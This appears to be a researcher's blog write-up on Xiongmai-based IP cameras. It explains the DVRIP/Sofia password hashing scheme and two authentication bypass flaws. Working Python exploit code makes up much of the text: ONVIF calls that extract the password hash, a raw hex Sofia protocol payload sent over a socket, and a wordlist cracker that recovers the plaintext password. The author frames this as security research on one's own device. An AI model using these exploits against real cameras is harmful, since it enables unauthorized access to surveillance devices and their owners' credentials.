Contents of this article are a part of a broader security assessment of Besder 6024PB-XMA501 IP camera.
Press enter or click to view image in full size
While doing a security assessment of the aforementioned IP camera, I stumbled upon a method on how the camera’s main binary — called DVRIP or Sofia — hashes user passwords. This hashing method was first reverse engineered by tothi while doing a security assesment of a SECULINK — Security Monitoring Digital Video Recorder (DVR) device and is presented below:
This function takes the password of IP camera’s account as input and computes its MD5 hash, then transforms it:
n .[A-Z]
*[a-z] [0-9]In order to run a local instance of both this code snippet and the following script of dictionary attack, I used uv Python package manager. To test the hashing algorithm, one can do the following:
Join Medium for free to get updates from this writer.
Clone the Github gist and cd to the cloned directory:
git clone https://gist.github.com/KostasEreksonas/138aa807468a2769414feb37346ce073 && cd 138aa807468a2769414feb37346ce073/Run the script with uv run and specify a plain-text password to be hashed:
Press enter or click to view image in full size
To obtain DVRIP/Sofia hash from a Xiongmai based IP camera, a couple of known exploits can be leveraged.
CVE-2025–65857 is an authentication bypass vulnerability within the ONVIF implementation found on Xiongmai XM530 IP cameras. It exposes RTSP URIs with hardcoded credentials using GetStreamUri method. Credential extraction from RTSP URIs can be automated with Python:
def cve_2025_65857(ip, onvif_port):
"""Get password hash via ONVIF calls"""
cam = camera_setup(ip, onvif_port) try:
media = cam.create_media_service()
print("[+] Media service created successfully")
except Exception as e:
print(f"[-] Failed to create media service: {e}")
sys.exit(1)
profiles = media.GetProfiles()
try:
# Create stream setup request
stream_setup = {
'Stream': 'RTP-Unicast', # RTP-Unicast, RTP-Multicast
'Transport': {
'Protocol': 'RTSP' # RTSP, UDP, HTTP
}
}
# Get Stream URI
stream_uri_response = media.GetStreamUri({
'StreamSetup': stream_setup,
'ProfileToken': profiles[0].token
})
hash_string = stream_uri_response.Uri.split("=")[2][:8]
print(f"[+] Found Sofia hash: {hash_string}")
except Exception as e:
hash_string = ''
print(f"[-] Failed to get Sofia hash: {e}")
return hash_string
Another authentication bypass vulnerability in proprietary Sofia protocol found on Xiongmai based IP cameras. Sending a crafted payload with the command code f103 (little-endian hex for 1009) allows unauthorized access. A writeup by netsecfish is available on Github. The adapted Proof-of-Concept (PoC) for this cracker tool is presented below:
commands = [
'ff00000000000000000000000000f103250000007b202252657422203a203130302c202253657373696f6e494422203a202230783022207d0aff00000000000000000000000000ac05300000007b20224e616d6522203a20224f5054696d655175657279222c202253657373696f6e494422203a202230783022207d0a', # Initial command
'ff00000000000000000000000000ee032e0000007b20224e616d6522203a20224b656570416c697665222c202253657373696f6e494422203a202230783022207d0a', # KeepAlive
'ff00000000000000000000000000c00500000000', # Users Information
]def cve_2024_3765(ip, sofia_port):
"""Get password hash via vulnerable DVRIP/Sofia command code"""
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(10)
s.connect((ip, sofia_port))
hash_string = process_commands(s, commands)
print(f"[+] Password hash found: {hash_string}")
return hash_string
When the DVRIP/Sofia hash is retrieved from the device, dictionary attack against the hash can be executed. The main loop of this cracker tool takes a wordlist as an input, reads it line by line, hashes the line with the previously described Sofia hash function and compares the result with the hash retrieved from the device. If it matches — the password is found. If not, further steps are not covered by this script (at least for now).
def crack(wordlist, hash_string):
"""Crack password"""
c = 0
found = 0
encoding = 'latin-1' if re.match('rockyou', os.path.basename(wordlist)) else 'utf-8'
with open(wordlist, "rb") as f:
total_lines = sum(1 for _ in f)
with open(wordlist, 'r', encoding=encoding) as file:
for line in file:
c += 1
print(f'[+] {c}/{total_lines} [{c / total_lines * 100:.2f}%]', end='\r', flush=True)
line = line.strip()
if sofia_hash(line) == hash_string:
#print(f'[+] {c}/{total_lines} [{c / total_lines * 100:.2f}%]', end='\n', flush=True)
print(f"[+] Hash: {sofia_hash(line)}, Password: {line}")
found = 1
break if found == 0: print("[+] Password not found")
Again, to test the dictionary attack locally, clone the Github repository of the project and use uv run to install required dependencies and run the dictionary attack against the IP camera (that you own). When running the script, a couple of parameters need to be provided:
Default ports for ONVIF (port 8899/TCP) and DVRIP/Sofia (34567/TCP) are already pre-configured in the script, however they can also be supplied from command line, if the port numbers differ from default values.
Press enter or click to view image in full size
In today’s short writeup, DVRIP/Sofia hash, found in Xiongmai based IP cameras, was described, as well as two different authentication bypass vulnerabilities that allow to retrieve existing password hashes. Lastly, a Python script is provided that automates the process of retrieving Sofia password hash and cracking it with dictionary attack.